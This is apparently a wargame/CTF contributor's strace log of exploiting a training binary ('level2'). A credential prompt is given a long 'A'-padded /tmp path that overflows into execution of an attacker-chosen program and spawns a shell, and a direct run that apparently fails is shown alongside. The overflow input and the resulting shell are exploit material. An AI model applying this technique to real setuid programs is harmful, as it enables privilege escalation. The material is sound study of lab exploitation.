running with strace (it works)

write(1, "Username: ", 10Username: )              = 10
read(0, nobody
"nobody\n", 1024)               = 7
write(1, "Password: ", 10Password: )              = 10
read(0, Ksdkjkk32avsh
"Ksdkjkk32avsh\n", 1024)        = 14
write(1, "Command: ", 9Command: )                = 9
read(0, /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAroot
"/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 101
write(1, "Good job!\n", 10Good job!
)             = 10
geteuid32()                             = 1002
geteuid32()                             = 1002
geteuid32()                             = 1002
setresuid32(1002, 1002, 1002)           = 0
execve("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAroot", ["/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 0 vars */]) = 0
brk(0)                                  = 0x8063000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=17644, ...}) = 0
mmap2(NULL, 17644, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fda000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0po\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1360008, ...}) = 0
mmap2(NULL, 1370424, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e8b000
mmap2(0xb7fd4000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fd4000
mmap2(0xb7fd7000, 10552, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd7000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e8a000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e8a8d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7fd4000, 8192, PROT_READ)   = 0
mprotect(0xb7ffe000, 4096, PROT_READ)   = 0
munmap(0xb7fda000, 17644)               = 0
getpid()                                = 12868
rt_sigaction(SIGCHLD, {0x80563f0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1002
getppid()                               = 12867
brk(0)                                  = 0x8063000
brk(0x8084000)                          = 0x8084000
getcwd("/levels", 4096)                 = 8
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, {B9600 opost isig icanon echo ...}) = 0
ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, {B9600 opost isig icanon echo ...}) = 0
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {0x80563f0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_IGN, ~[RTMIN RT_1], 0}, NULL, 8) = 0
open("/dev/tty", O_RDWR)                = 3
fcntl64(3, F_DUPFD, 10)                 = 10
close(3)                                = 0
fcntl64(10, F_SETFD, FD_CLOEXEC)        = 0
ioctl(10, TIOCGPGRP, [12867])           = 0
getpgrp()                               = 12867
rt_sigaction(SIGTSTP, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTSTP, {SIG_IGN, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTTOU, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTTOU, {SIG_IGN, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTTIN, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTTIN, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
setpgid(0, 12868)                       = 0
ioctl(10, TIOCSPGRP, [12868])           = 0
wait4(-1, 0xbffffc5c, WNOHANG|WSTOPPED, NULL) = -1 ECHILD (No child processes)
write(2, "$ ", 2$ )                       = 2
read(0, ls
"ls\n", 8192)                   = 3
stat64("/usr/local/sbin/ls", 0xbffffb80) = -1 ENOENT (No such file or directory)
stat64("/usr/local/bin/ls", 0xbffffb80) = -1 ENOENT (No such file or directory)
stat64("/usr/sbin/ls", 0xbffffb80)      = -1 ENOENT (No such file or directory)
stat64("/usr/bin/ls", 0xbffffb80)       = -1 ENOENT (No such file or directory)
stat64("/sbin/ls", 0xbffffb80)          = -1 ENOENT (No such file or directory)
stat64("/bin/ls", {st_mode=S_IFREG|0755, st_size=112700, ...}) = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb7e8a938) = 12876
setpgid(12876, 12876)                   = 0
wait4(-1, level1	level1.c  level2  level2.c  level3  level3.c  level4  level4.c
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], WSTOPPED, NULL) = 12876
--- SIGCHLD (Child exited) @ 0 (0) ---
sigreturn()                             = ? (mask now [])
ioctl(10, TIOCSPGRP, [12868])           = 0
wait4(-1, 0xbffffc5c, WNOHANG|WSTOPPED, NULL) = -1 ECHILD (No child processes)
write(2, "$ ", 2$ )                       = 2
read(0,


(did not work)

level2@rzt-bin01:/levels$ ./level2
Username: nobody
Password: Ksdkjkk32avsh
Command: /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAroot
Good job!
level2@rzt-bin01:/levels$